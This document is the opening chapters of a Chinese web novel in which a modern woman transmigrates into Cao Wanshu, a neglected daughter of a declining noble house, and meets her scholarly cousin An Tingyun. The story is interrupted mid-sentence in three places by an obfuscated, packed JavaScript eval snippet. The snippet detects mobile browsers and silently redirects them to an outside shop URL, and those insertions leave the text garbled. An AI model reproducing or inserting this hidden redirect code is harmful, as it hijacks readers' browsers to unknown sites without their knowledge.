《表哥他心有猛虎》 1. 谏姨娘巧避祸端 入樊笼魂归曹府 林莹穿书了。 她歪在一张罗汉床上,微微发愣。 恍惚打量着四周,床被一道屏风隔开,透过屏风,隐约可见窗前摆着一张梨花木书案,案上摆着一摞书,各色家具放得整整齐齐。 这般精致奢华的光景,原该是梦里也难见的。 可她知晓,她穿进的,是一本讲尽曹府兴衰的书,而且成了府里最不起眼的五姑娘——曹晚书。 书里的鲁国公府曹家,赫赫扬扬一甲子,末了落得个树倒猢狲散的下场,满门抄斩,尸骨无存。 而曹晚书,下场最为凄惨。 她老爹曹望,为了十两碎银,就将亲生女儿卖去青楼做了红倌人。待到红颜老去,百病缠身,又被随手扔去乱葬岗,叫天不应,叫地不灵。 她不禁紧咬银牙,手捏紧衣角,心底下发狠誓:我绝不要落得这般下场! 正想着,一个梳着双环髻的小丫头,捧着黑漆托盘,踩着小碎步过来:“五姑娘,您可算醒了。快趁热喝了这碗金丝红枣桂圆粥吧,柳姨娘还在屋里候着您呢。” 这曹晚书是庶女,生母便是柳姨娘。上头有两位嫡出姐姐,自小就瞧她不顺眼,动辄打骂欺辱。 偏偏原主性子又是蛮横冲动的,在府里没半分体面,谁都能踩上一脚。 林莹敛了心神,接过粥碗,三两口喝净。 转眼又围上来四五个丫鬟,替她梳洗打扮。收拾妥当了,才跟着丫鬟往柳姨娘的院子去。 进了柳姨娘的屋子,便见柳静钗歪在榻上,见她进来,便蹙了蹙眉,嗔道:“你这孩子,可是磨磨蹭蹭的,叫我等得花儿都谢了。” 曹晚书福了福身,语气平和:“小娘唤女儿来,可是有什么事?” 柳姨娘拉过她的手,压低了声音道:“你大姐姐的亲事有着落了。你猜猜,是哪家?” “女儿愚钝,猜不着,还请小娘明示。” “是襄阳王。”柳姨娘又道,“如今东宫之位悬而未决,你大姐姐若真嫁了襄阳王,他日他若得了势,宋夫人还不得把咱们娘俩磋磨死?” 她说着,见曹晚书怔怔的,便恨铁不成钢地晃了晃她的肩膀:“我的儿啊,你可得争口气!” 曹晚书心里一阵发紧,原著里曹家覆灭的根由,正是这桩亲事。 大姐姐嫁入襄王府没几年,官家便立了瑞王为太子。襄阳王心有不甘,起兵谋反,兵败之后,曹家被连根拔起,满门获罪。有的进了大狱,有的被流放,凄惨之状,难以言表。 “你发什么呆呀?”说着,柳姨娘拿起帕子,呜呜咽咽地哭了起来。 曹晚书道:“这亲事绝不能成。” 柳姨娘一愣:“可那是王府,老爷和夫人对这门亲事都非常满意。” “如今东宫未定,襄阳王是众矢之的。此时联姻,曹家便等于押上了全副身家。赢了,或许富贵滔天;可若输了,便是满门倾覆。小娘,您想过流放千里的日子吗?” 柳姨娘被她的话吓得一个哆嗦,脸色发白:“那该如何是好?难道要让你大姐姐出丑,坏了名声?” “不可。”曹晚书摇头,“损了姐姐的名声,便是损了曹家所有女儿的名声,那是杀敌一千,自损八百的蠢办法。我们要做的,是让这婚事自然而然地不成,最好,是让父亲自己打消念头。” “这谈何容易。”柳姨娘觉得女儿在异想天开。 “父亲看重家族兴衰,胜过一时富贵。小娘,您只需在父亲面前,如此这般说……” 她将襄阳王可能带来的风险,以及暂不站队,静观其变的稳妥之道,条分缕析地教给柳姨娘。 柳姨娘听着听着,有些惊异。她从未想过,自己这个平日里蛮横冲动的女儿,还有这般透彻缜密的心思。 她重重地点了点头:“好,娘听你的。” 是夜,曹望照旧来了柳姨娘的住处。往日里,二人总要温存半晌,说些体己话。可今夜,柳静钗一直垂着头,不住地叹气,眉间愁云不散。 曹望本待要她服侍,见她这副模样,便自己解了外袍,挂在衣架上,挨着她坐下,问道:“你这是怎么了?一脸的愁眉不展。” 柳姨娘轻轻摇头,声音怯怯的:“奴家…奴家不敢说。” “你我之间,还有什么不能说的?”曹望掀开被子躺下,“但讲无妨。” 柳姨娘这才抬起头,眸光里满是忧虑:“奴家虽是个妇道人家,没读过什么书,可也知道,朝堂之事,风云变幻。如今官家不立太子,诸位王爷之间,怕是早已暗流涌动。襄阳王看着势头好,可谁能保准他日后能成大事?咱们曹家,此时万万不能和任何一位王爷扯上干系,否则,他日怕是要惹来大祸啊。” 这话刚落,曹望便坐起身,指着她斥道:“胡闹!朝堂之事,也是你能妄议的?” 柳姨娘不慌不忙,依旧柔声细语:“老爷息怒。奴家只是想着,若襄阳王他日败了,起兵谋反的罪名,岂是咱们曹家能担待的?” 这些利害,曹望何尝没有想过? 只是襄阳王对这门亲事十分上心,若是贸然回绝,不仅扫了王爷的颜面,曹家也要沦为天下人的笑柄。得罪了襄阳王,往后的日子,怕是举步维艰。 “你往日里,可从不屑说这些。”曹望皱着眉,满心疑惑。 柳姨娘依偎过去:“奴家也是曹家的人,曹家好,奴家才能好啊。” “你头发长,见识短,鲁国府的事,轮不到你操心。”曹望不耐烦地挥挥手,“歇了吧。” 柳姨娘却不依,又晃着他的胳膊,娇声道:“老爷,您在朝堂多年,这些道理,比奴家明白得多。大姑娘的亲事,八字还没一撇呢。咱们只消对外说,大姑娘早已许了人家,这不就成了?” 曹望闭着眼,没应声,心里早已翻江倒海。柳姨娘的话,句句都戳在了他的心坎上。 在这储位未定的关头,盲目站队,实在是险棋。 第二日清晨,曹望在柳姨娘屋里用早膳。曹晚书早早地候在一旁,亲自布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202113|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜,又端上一碟新做的梅花糕,模样精巧,香气扑鼻。 原著里的曹晚书,心高气傲,从不屑讨好长辈,对这父亲更是不假辞色,也难怪曹望待她薄情。如今林莹占了这身子,自然要改改路数。 曹望尝了一口梅花糕,赞道:“味道不错。你这丫头,倒是长大了,知道孝顺爹爹了。” “父亲养育女儿一场,女儿孝顺爹爹,本就是天经地义。”曹晚书说着,又往他碗里夹了一筷子青菜,眉眼弯弯的,瞧着乖巧得很。 柳姨娘在一旁看着,满心欣慰。往日里,她磨破了嘴皮子,劝女儿去讨老爷的欢心,女儿总是嗤之以鼻。如今这般模样,真是难得。 她见曹望心情好,便趁热打铁道:“老爷,咱们晚儿也不小了,再过两年,便要及笄了。您可得多上点心,替她谋划谋划前程。” 曹晚书心里暗道不好。 这曹望,可是个视财如命,寡情薄义的。让他替自己挑夫婿,怕是要把她推入火坑。 曹望慢悠悠放下碗筷,惬意地往椅背上一靠,说道:“晚儿年纪尚小,且她上头还有两位姐姐,都还待字闺中呢。” 话声刚落,柳姨娘便急切反驳道:“那金丫头和玉丫头,可都是夫人亲生的。夫人挑选女婿,必定先紧着自己的亲女儿。” 话未说完,曹晚书实在听不下去,急忙拿起一块糕点,轻轻塞到柳姨娘嘴边,阻拦道:“小娘,虽说我并非夫人亲生,可也是在她房中养大的。我既尊称她一声母亲,夫人自然不会亏待我。” 曹望听了,不住点头,对女儿这番话甚是赞赏。紧接着,又开口道:“咱们山东老家,有个远房亲戚家的外甥,不日要来京城赶考,届时可能会在咱们府上借住些时日。那孩子不仅聪慧过人,模样还出众。十二岁便考中秀才,十七岁中了举人,可是当地有名的神童,人人都说他有宰相之才。” “什么宰相之才,不过是个穷酸举子罢了。”柳姨娘忍不住奚落道,话一出口,才回过神,满脸惊讶,“老爷莫不是想把晚儿许配给这个穷酸举子?” “休要这般贬低,我朝最重读书人,那孩子将来必定前程似锦。” 曹望瞥了一眼一旁默默不语的曹晚书,问她道,“晚儿可还记得,在山东老家时,曾见过的那位二表哥,名叫安亭蕴。你们小时候还一起玩耍过几日,他还带你上山抓过兔子呢。” 曹晚书刚穿进这本书来不久,哪里记得什么二表哥,只能无奈摇摇头。 曹望本就不喜柳姨娘这副看不起人的模样,一大早的好心情,瞬间消散殆尽。没坐多久,便借口有公务在身,匆匆出门去了。 次日清晨,鲁国府的小厮前往码头接人。听闻,来的正是山东老家远房的二表哥安亭蕴,曹晚书前些日子听曹望提过他。 一家人齐聚正厅,曹家老太太端坐上首,头戴抹额,慈眉善目,手中捧着汤婆子暖手。 曹老太太与宋夫人婆媳二人正聊得开心,此时小厮前来通报,说安亭蕴到了。 2. 亭蕴初到鲁国府 安亭蕴投亲曹府 曹府上下诸人目光皆齐刷刷投向门外。 只见一位风尘仆仆的少年郎掀开帘栊,款步而入。 他身量颀长,身着一袭圆领袍。眉峰温润如远山含黛,眼眸清亮似秋水横波,鼻梁直挺,唇线柔和。一眼望去,便知是个饱读诗书的温厚君子。 安亭蕴趋步上前,对着上首曹老太太、曹望公、宋夫人等,依次打恭作揖,进退周旋间行云流水,言谈举止里,满是温文尔雅的大家气度。 曹老太太待他在西侧椅子上坐定,满面堆笑问道:“你母亲身子可还康健?” 安亭蕴唇边噙着一抹浅笑道:“家母日日汤药不离,如今已见好转,尚能下床走动几步了。” 曹望捻着胡须,对他的赞赏之意溢于言表,颔首道:“早闻你敏而好学,小小年纪便有这般才学,当年昭文馆吕大学士,也不过十三岁得中秀才罢了。” 安亭蕴脸颊微微泛红,敛眸垂目,谦逊回禀:“吕相爷德才兼备,博古通今,实乃千古楷模。晚生虽不能至,然心向往之。” 曹望站起身来,将三个儿子拉至跟前,向安亭蕴引荐:“这是我家三个不成器的犬子,日后功课上,还得劳你多费心教导。” 曹辕、曹舆、曹轼三兄弟,齐齐对着安亭蕴拱手作揖,齐声唤道:“二表哥。”安亭蕴忙起身拱手还礼,神色谦和。 此时,曹家四位姑娘,也由宋夫人身边的邹妈妈从屏风后引领而出。 曹金书、曹玉书姐妹俩,悄悄抬眸偷觑了安亭蕴一眼,顿时双颊绯红,含羞带怯地敛衽行了万福礼。 曹晚书也好奇地抬眼打量这位传说中的神童二表哥,果然不负盛名,生得一副好皮囊。 “妹妹们安好。”安亭蕴嘴角上扬,露出一抹温润笑容,说罢从包里取出早已备好的锦盒,依次递到四位姑娘手中,“千里鹅毛,聊表心意。” 曹晚书接过锦盒,心里暗自揣测,里面约莫是支上好的湖笔。她笑盈盈地随两位姐姐一同道谢。 安亭蕴目光掠过曹晚书,心头不觉微微一动。 几年未见,这丫头已长这般大了。 他记得上次相见时,她还是个总角垂髫的小丫头,怯生生跟在宋夫人身后唤他“哥哥”,只因年纪小,口齿不清,总把“哥哥”唤作“得得”,如今回想起来,仍觉又好笑又可爱。 外头,鹅毛大雪纷纷扬扬,漫天遍野一片银白。 曹府上下的丫鬟婆子、小厮们都为着春节忙碌,脚步匆匆,无片刻停歇。 宋夫人请了城中有名的杂剧戏班子,又吩咐小厮往樊楼采买珍馐佳肴。门外爆竹声此起彼伏,接连不断,一派热闹喧阗。 安亭蕴出身并非富贵之家,家中仅靠几间铺子维持生计,母亲又常年汤药不断。 以往过年,不过比平日多添几样荤菜罢了。如今身处曹府,见这春节光景,不仅大摆宴席,更请了戏班子登台,吃的是山珍海味,穿的是绫罗绸缎,这般奢靡光景,直如神仙日子一般。 他寄人篱下,难免有些拘谨,只敢默默缩在角落。忽见身旁也有个小小的身影,同他一般不愿融入热闹人群,仔细一看,是曹家的五妹妹曹晚书。 戏班子的掌班捧着戏单,趋步至曹老太太跟前,恭恭敬敬递上:“老太太,您老人家拣几出喜欢的听?” 曹老太太笑容满面地接过,瞧见戏单首页便是《琵琶记》。 宋夫人也凑上前去看了,笑着提议:“不如就听《琵琶记》吧?” 曹老太太摇了摇头,叹道:“这《琵琶记》我听了不下几十回,每次听都气蔡伯喈,一朝金榜题名,便忘了结发妻子,抛妻弃母,好不混账!不过他最终落得个五雷轰顶的下场,倒也大快人心。” 这话恰好被躲在角落里的曹晚书听了去。她轻轻用胳膊肘碰了碰身旁的安亭蕴,半开玩笑道:“二表哥,你日后可千万别学蔡伯喈,中了状元便抛妻弃子,不然可是要遭五雷轰顶的。” 安亭蕴唇角微微勾起,轻声回道:“五妹妹说笑了,我既无结发妻子可抛,更断断做不出那般狼心狗肺之事。” 终于盼到开宴,曹晚书望着满桌的珍馐美味,脑子里除了奢侈二字,再想不出其他词语来形容。 她悄悄唤来负责采买的小厮询问,方知单单这几桌宴席,便花去了二百多两银子。 且不说这饭菜,单是请戏班子的酬劳,便已是一笔不菲的开销,再加上府中布置、给姑娘哥儿们制备新衣裳,桩桩件件皆是大把银子往外淌。 照这般光景下去,曹家即便不遭抄家之祸,这般入不敷出的奢靡耗费,家底迟早也得败干净了。 偌大的鲁国府,不单要养着曹家的子女,更有一众丫鬟婆子、小厮下人。这过年时节,每人还得给二三两银子的节钱,好让他们在府中安心当差。 不过这些都还只是次要的。 关键在于,曹家如今还有谁能撑得起门户呢?想当年曹老国公年轻时,驰骋沙场,南征北战,乃是大宋的开国功臣,因功勋卓著,被封为鲁国公。老国公病重之时,官家尚且亲自驾临府中探望。生前万民伞、匾额无数,死后更是配享太庙,何等荣耀。 按照朝中惯例,大臣去世,官家辍朝一日即可,可曹老国公薨逝时,官家直接辍朝两日,以表敬重。 如今呢?只剩曹望公承袭爵位。他膝下三子,庶出长子曹辕勤勉好学,嫡出的次子却放荡不羁,整日只知贪玩享乐,还嫉妒曹辕功课比自己好,常常在背后使些阴私伎俩。 这曹家内部早已暗流涌动,长此以往,怕是要出大乱子。唯有兄弟和睦,齐心协力,发奋攻读,考取功名,曹家才有重振之日啊! 曹晚书想到此处,不禁重重叹了口气。坐在她身旁的安亭蕴察觉到她的异样,不由得侧目看了她一眼,满心疑惑。 钟鸣鼎食的世家小姐,为何偏生总是唉声叹气,愁容满面? 老太太听戏听得高兴,忍不住拍手叫好,命身边的田妈妈给戏子们赏钱。 曹家三位哥儿早已坐不住了,尤其是三公子曹舆,一会儿探着脑袋往门外张望,一会儿又在席前踱来踱去,坐立难安。 曹老太太如何看不出他的心思,便开口道:“你们三个,陪着蕴哥儿,带姐姐妹妹们出去逛逛吧。” 宋夫人耳朵尖,闻言便给身后的邹妈妈使了个眼色,邹妈妈会意,悄悄从一旁退了出去。 汴京城的除夕夜,当真是热闹非凡。尤其是宣德门前,人山人海,摩肩接踵,想要挪动一步,都得侧着身子先挤过右肩,再挪过左肩,稍不留神,鞋面上便多了几个黑印子。 宣德门下搭了座山棚,听闻还请了怡红楼的张行首前来唱曲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202114|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸亏曹家哥儿姐儿们来得尚早,不过一盏茶的功夫,这可容上千人的山棚便已座无虚席。 曹舆最为兴奋,扯着身旁的曹辕、曹轼便嚷道:“这张行首我在怡红楼见过,手如柔荑,肤如凝脂,当真貌若天仙。可惜是个清倌人,不然我早便重金为她梳拢了。” 他说得口水都要流下来,曹玉书最是看不惯他这副登徒子模样,忍不住白了他一眼,低声啐道:“不过是些闲花野草罢了。” 曹舆脸上的笑容褪去,勃然大怒,站起身来:“死丫头,你胡说什么!张行首才情卓绝,你懂什么,也配诋毁她!” 曹金书连忙摆出大姐姐的姿态,瞪了曹舆一眼:“行了,快坐下吧,这般当众喧哗,成何体统,莫要丢人现眼。” 恰在此时,张行首怀抱琵琶,款步走上台来,在凳上坐定,轻拢慢捻,婉转歌喉如枝上莺啼,清越动人。 一曲唱罢,台下掌声雷动,叫好声不绝于耳,其中尤以曹舆喊得最响。 张行首端起一个小托盘,向观众席走来。台下看客纷纷捧场,银子如泥沙般一把把往托盘里扔去。 曹舆兴高采烈地冲到张行首面前,咧嘴傻笑。 张行首瞥了他一眼,将托盘递到他跟前,娇声问道:“官人,奴家的曲子唱得可还入耳?” “好听,自然是好听!” 张行首媚眼如丝,直勾勾望着他,捂嘴娇笑道:“想要再听奴家唱下去,可得给些赏钱呢~” “哎哟,倒把这茬忘了!”曹舆一拍脑门,伸手摸向腰间,空空如也。来时太过匆忙,忘了带钱袋子。他又往袖中探去,亦是一无所获。 曹舆尴尬地挠了挠头,讪讪道:“不巧得很,来时匆忙,忘了带钱袋子。改日我亲自去怡红楼,给你捎一袋子白银便是。” 张行首见他身着银白狐皮袄,头戴红玉冠,一身贵气,显然不信他的话,嗤笑道:“噗,官人莫要哄奴家开心了。你坐在最前排,方才叫得最是响亮,如今奴家来讨赏,你倒一毛不拔了?” “不不不,并非我舍不得,实在是忘了带!”曹舆急得满头大汗,目光急切地望向曹家兄妹,却无一人理会他。 曹玉书打了个哈欠,倦意上涌,不耐烦地嚷嚷着要走:“唱的什么东西,咿咿呀呀的,倒不如那边的女子相扑来得热闹。” 说罢便站起身要走,回头见无人跟来,不由得有些恼怒:“你们走不走?再不走我便一个人回去了!” 曹晚书这会子已打盹睡醒三四回,闻言连忙应道:“四姐姐,我跟你一起去。” 曹玉书鼻子一翘,轻哼一声:“这还差不多。” 二人刚要转身,便听得身后传来争执之声。 “拿不出银子就别充大爷,明明是个穷酸,偏要装模作样。” 曹舆气得双目圆睁,抡起拳头便要上前:“你说谁呢!睁大你的狗眼看看,我乃鲁国府曹家三公子,汴京城有头有脸的人物,哪个不认得我!” 那人愈发挑衅:“既是曹家三公子,怎么连几个赏钱都拿不出来?莫不是个空架子吧?” “你还敢胡言,看我不割了你的舌头!” 曹舆气得浑身发抖,一拳便挥了过去。谁知话音刚落,不知从哪里窜出几个小厮,将一个麻袋套在他身上,扛起便往外跑,转眼便消失在人群之中。 3. 晚书巧言解僵局 逞顽心公子惹祸 出了这档子事,曹家兄妹与安亭蕴哪里还有半分逛兴,慌忙登上马车,循着那几个小厮的踪迹追了上去。 谁料一路追着,直直追到了鲁国府的门首。原来那几个套麻袋的小厮,都是曹府里的人。 出乎意料的是,这都是宋夫人一早安排好的。她素日里深知自己这个儿子的脾性,料定他出门定会惹是生非,早早便让邹妈妈吩咐妥当人手跟着。 只待他闯出祸来,不管三七二十一,直接套了麻袋带回府中,省得成日价在外头丢人现眼,闯出更大的乱子。 宋夫人将房门紧闭,把曹舆拉到跟前狠狠训了一通。可曹舆这厮,是半句也没听进去,反倒梗着脖子,句句顶嘴,气得宋夫人伏在桌上,哭得撕心裂肺,连声骂他是个混账畜牲。 屋里众人乱作一团,都忙着上前拉架劝解,唯有曹晚书与安亭蕴,悄无声息地立在院内。 夜已深,早过了后半夜。偌大的曹家府邸,院落连绵,回廊九曲,绕得人眼花缭乱。 安亭蕴初来乍到,认不清路径,只好央了曹晚书引路。 晚书手提一盏羊角灯笼,走在前面,不时回过头来,轻声道:“今日府上这般鸡飞狗跳,倒教你见笑了。” 安亭蕴缓步跟在她身后,温声笑道:“五妹妹说哪里话,府上意趣天然,倒不觉枯索。” 晚书听了,心下暗暗哂笑,原以为这位表兄是个不通世故的迂腐书蠹,不想言语间还挺玲珑通透。 一时之间,周遭静了下来,唯有虫鸣唧唧,伴着晚风拂过草木的簌簌轻响。 晚书觉有些局促,便又寻了话头问道:“听闻二表哥自幼便是神童,四书五经,早已烂熟于心了吧?” 安亭蕴谦和地笑了笑:“不过略识之无罢了,谈何烂熟。”说罢,他侧过头,反问她:“五妹妹平日里,都读些什么书?” 曹晚书掩唇轻笑,眉眼弯弯:“妹妹资质愚钝,不过认得几个字罢了,哪里敢说读过书呢。” 安亭蕴何等通透,立时便听出了她的言外之意,忙笑道:“惭愧惭愧,愚兄也不过是草草翻过几卷罢了。” 曹晚书听他这般说,再也忍不住,以帕掩口:“二哥哥,草草翻过可不成。待到他日金殿传胪,若是名落孙山,那才真真要惭愧呢。” 安亭蕴忍不住莞尔,佯作薄怒,道:“你这丫头,倒是会拿我打趣。若我名落孙山,定要赖在你身上。到那时,我便日日来寻你,要你赔我一个状元名头,看你还敢不敢这般取笑我。” 曹晚书这才惊觉自己说错话,失了分寸,连忙告饶:“是妹妹失言了,你莫要怪罪。二哥哥天资聪颖,又肯用功,他日必定高中,名扬天下。” “你这促狭的小妮子。”两人一路说说笑笑,转瞬便到了安亭蕴暂住的院落门前。 “二哥哥早些安歇吧,妹妹告退了。”晚书说着,便要提灯转身。 “妹妹慢走,仔细脚下。”安亭蕴送她到院门首,殷殷叮嘱道。 曹晚书微微颔首,提着灯笼,款步而去。 安亭蕴倚着门框,目送那一点灯火,渐渐隐没在夜色里,直至杳然不见,犹自立于阶前。 夜风拂过衣衫,唇边一缕笑意未散,不知站了多久。 是夜,四姑娘曹玉书来到宋夫人的房中。母女二人相对而坐,喁喁低语,从襄阳王与大姐姐的婚事,渐渐便说到了安亭蕴身上。 一提起安亭蕴,曹玉书的脸颊便飞上两朵红云。 宋夫人一眼便察觉了女儿的异样,她嗔骂了一声“死丫头”,伸手夺过她手里的针线,随手扔到一旁,开门见山问道:“我问你,你可是对安亭蕴动了心思?” “才没有呢。”曹玉书坐直了身子,强装出一副大小姐的矜持模样,摇头晃脑的。一双眼睛,早已羞得不敢去看宋夫人。 宋夫人也是从这个年纪走过来的,女儿心里打着什么算盘,她这个做娘的,岂会不知? 宋夫人语重心长地劝道:“听娘一句劝,你最好是死了这条心。你且想想,咱们曹家是什么人家?那安家又是什么门第?不过是个布衣寒门,沾了点和咱家八竿子打不着的亲戚关系,才来府里打秋风罢了。你爹爹念他读书上进,才容他暂住几日,待到春闱放榜,他便要卷铺盖走人了。” 曹玉书依旧有些不甘心,低声辩解道:“可是我朝最重读书人,二表哥十二岁便中了秀才,此番省试,必定能高中。他日若是入朝为官,前程定然不可限量啊。” 宋夫人叹了口气,缓缓道:“你爹爹说了,这两年官家便要立定太子人选了。不管将来是谁继承大统,你都是要进宫去的。我的儿,你可万万不能在这个时候犯糊涂。那安亭蕴有什么好?不过是有几分文采,生了一副好皮囊罢了。你若是能入宫为妃,可就能为咱们曹家,挣来泼天的富贵。” 曹玉书撇了撇嘴,满脸的不情愿:“母亲,女儿便是死,也誓不与人为妾,哪怕是皇帝的妾也不行!是,女儿入宫为妃,是能给曹家争光。可宫里的规矩森严,我可不想入那宫门,葬送了自己的一生。” 宋夫人听了女儿这话,也是一阵沉默。她太了解自己的女儿了,这般刚烈执拗的性子,真要入了宫,怕是连怎么死的都不知道。 她沉思半晌,终是下定了决心,无论如何,都要好好教教两个女儿宫里的规矩,也好让她们多个傍身的本事。 可她自己,这辈子也未曾踏进宫门半步,不晓得宫里的那些规矩章程。 无奈之下,次日一早,她只好硬着头皮,去求曹老太太。 曹老太太乃是官家亲封的郡主娘娘,自幼便常入宫伴驾,对那些宫廷礼仪,自然是了如指掌。这几个姑娘,毕竟都是她的亲孙女,教她们些规矩,也是分内之事。 可任凭宋夫人好话说尽,曹老太太迟迟不肯松口。 宋夫人心中焦急,不由得放低了姿态,苦苦哀求道:“婆母,儿媳求求您了,金丫头和玉丫头,可都是您的亲孙女啊,您就发发慈悲,教教她们吧。” 老太太没好气地瞪了她一眼,沉声道:“我曹家的孙女,难道就只有这两个吗?晚丫头和兰丫头,就不是我的亲孙女了?” 宋夫人被老太太一语点醒,这才想起这两个丫头,连忙打圆场道:“婆母恕罪,儿媳失言了。那五丫头和兰丫头,她们……她们日后又不进宫,哪里用得着学这些规矩。” 这话一出,更是惹得老太太动了怒,她冷哼一声,厉声道:“难道只有进宫,才用得着学规矩吗?她们日后总要出嫁,总要为人主母,掌管中馈。若是连半点规矩都不懂,岂不是要任人耻笑,丢尽我曹家的脸面!” “是是是,婆母教训的是。”宋夫人连连点头,不敢再多言,忙不迭地让身后的邹妈妈,赶紧去把四位姑娘都叫来。 不多时,四位姑娘齐齐来到老太太房中,敛衽行礼,恭恭敬敬地立在跟前,听候训示。 “身为女子,首要的便是勤于蚕桑、精于织绩、擅于裁缝与饮膳。这些女工之事,你们可以不用亲手操劳,但必须件件都会。”老太太放下手中的茶碗,目光扫过四个孙女,又缓缓道,“其次,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202115|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是礼仪、管家、点茶、插花这些本事。这些东西,日后你们嫁了人,当家理事,样样都用得上。” 曹晚书听得暗暗咋舌,这些东西,她只在书本上见过,不曾实践。 “这些本事,我会慢慢教给你们。都坐下吧。”老太太摆了摆手,语气缓和了些许。 四位姑娘再次行礼,齐声应道:“是。” 待她们各自落座,老太太余怒未消,又忍不住告诫道:“你们姐妹四人,以后应该互敬互爱,同心同德。切不可学你们的母亲和婶娘那般,离心离德,厚此薄彼。” 曹晚书听罢,立时便明白了其中的关节。 这屋里的奴仆丫鬟,多半是宋夫人的眼线,老太太这番话,明着是训斥姐妹四人,实则是说给宋夫人听的。可这话传出去,自己这个不尴不尬的身份,怕是又要被推到风口浪尖上了。 曹晚书心念电转,连忙讪讪一笑,脆声说道:“祖母,其实是孙女偷懒耍滑,昨日特意求了母亲,让她不要叫我来学规矩的。不过幸亏母亲还是把我送来了,祖母这番教导,真是字字珠玑,孙女受益匪浅。若是今日没来,那才真是亏大了呢!” 一番话,说得老太太眉开眼笑,忍不住点着她的额头,笑骂道:“你这个滑头的小猢狲。” 见老太太消了气,曹晚书这才暗暗松了口气。 陶然轩内,宋夫人端坐着,听邹妈妈回话。 “她当真这般说?”宋夫人面露惊讶,有些不敢置信,又追问道。 邹妈妈笃定地点了点头:“千真万确,老太太屋里的檀香姑娘,亲口跟我说的,一字不差。” 宋夫人听罢,忍不住笑道:“这个五丫头,倒是没白养她一场,还知道为我解围。她这话说得,既不得罪老太太,又把老太太哄得眉开眼笑,倒不像是个小孩子能说出来的话,真是个机灵鬼。” 邹妈妈在一旁附和道:“可不是嘛,谁能料到,她一个小姑娘家,还有这般玲珑心思。不过她能在老太太跟前,替夫人说句好话,倒是真让人刮目相看。” 宋夫人轻哼一声:“幸亏她没随了她那不知廉耻的亲娘。说到底,还是我教导有方,才把这几个姑娘,调教得这般大方得体。” 邹妈妈连忙趁热打铁,又道:“夫人,奴婢还听说一件事。前日柳姨娘在老爷跟前说您的坏话,您猜,五姑娘是怎么做的?” 宋夫人顿时来了兴致,瞪大眼睛,凑近了问道:“她是怎么做的?” “五姑娘当场就把柳姨娘数落了一通,还在老爷面前,说了您一大堆的好话。说您虽不是她的生母,却待她视如己出,真心实意地为她好,从来不曾亏待过她。” 宋夫人听完,心里头吃了蜜一般甜,喜滋滋地说道:“这孩子,总算还有点良心。” 曹家四位姑娘,在老太太屋里,足足拘了十数日,日日跟着学那些繁琐的规矩,只学得头昏脑涨,叫苦不迭。 好不容易捱到正月十五将近,才得了老太太的恩典,准许她们各自回房,松散几日。 曹晚书早已渐渐适应了这里的生活,虽没有手机消遣解闷,可闺阁之中,打发时间的玩意儿却也不少。围棋、叶子戏、双陆、投壶,花样百出,各有各的趣味。 唯有一样,她那爱睡懒觉的老毛病,是半点没改。这日,她睡得酣甜,窗外天色大亮。 房门被轻轻推开,两个身影蹑手蹑脚地走了进来。这两个促狭鬼相视一笑,又轻手轻脚地摸到床前。 曹玉书屏声静气,瞅准时机,猛地伸手,将锦被一把掀了开来! 4. 三书调戏安亭蕴 扎花灯闺阁竞灵巧 “哎哟!”曹晚书身上骤然一凉,惊得一个激灵坐直起来,睡眼惺忪,鬓发蓬松。定睛一瞧,只见曹金书、曹玉书两个,已是笑得花枝乱颤,捂着肚子直不起腰。 “姐姐,好姐姐们,你们可别闹我了。”“曹晚书揉着眼睛,嘟着嘴,腮帮子鼓鼓的,显是没睡饱,带了几分娇憨的恼意。 见她没睡醒闹起脾气来,曹玉书也不笑了,上去拍了拍她道:“五妹妹,别睡了,今儿正月十五,外头热闹着呢,咱们也出去瞧瞧。” “好不容易得闲能睡个懒觉,姐姐们就让我再睡会儿罢。” 昨个曹晚书跟丫头们打牌打到了半夜,这才睡了没几个时辰,就被他们喊起来,此时瞌睡虫上了脑,昏昏沉沉的。 “这丫头,生了一身懒骨。”曹金书拿她没有办法,只好上去帮她先盖好了被子,又过去挽着曹玉书的胳膊,“走,咱们俩今儿晚上去看花灯,不带她,让她在屋子里待一整天。” 曹晚书曾经只在书中了解过东京汴梁的繁华,每逢佳节,外面都格外的热闹。 除夕那夜倒是出去长了见识,但因为曹舆在外头闹事,无奈折返回府,都还没能在外面好好的逛逛。 这次好不容易来了一个正月十五闹花灯,岂有不出去凑凑热闹之理? 曹晚书瞬间清醒了过来,连忙把她二人给叫住:“二位姐姐等等我,我这就来。” 收拾好了行头,曹晚书便跟在两位姐姐屁股后面走着。这时,曹金书突然出了一个主意,说要去二表哥房里看看他在做什么。 曹金书与曹玉书都猜,依着安亭蕴的性子,此刻定是在苦读。 曹晚书撇撇嘴道:“他指不定还在睡大觉呢。” 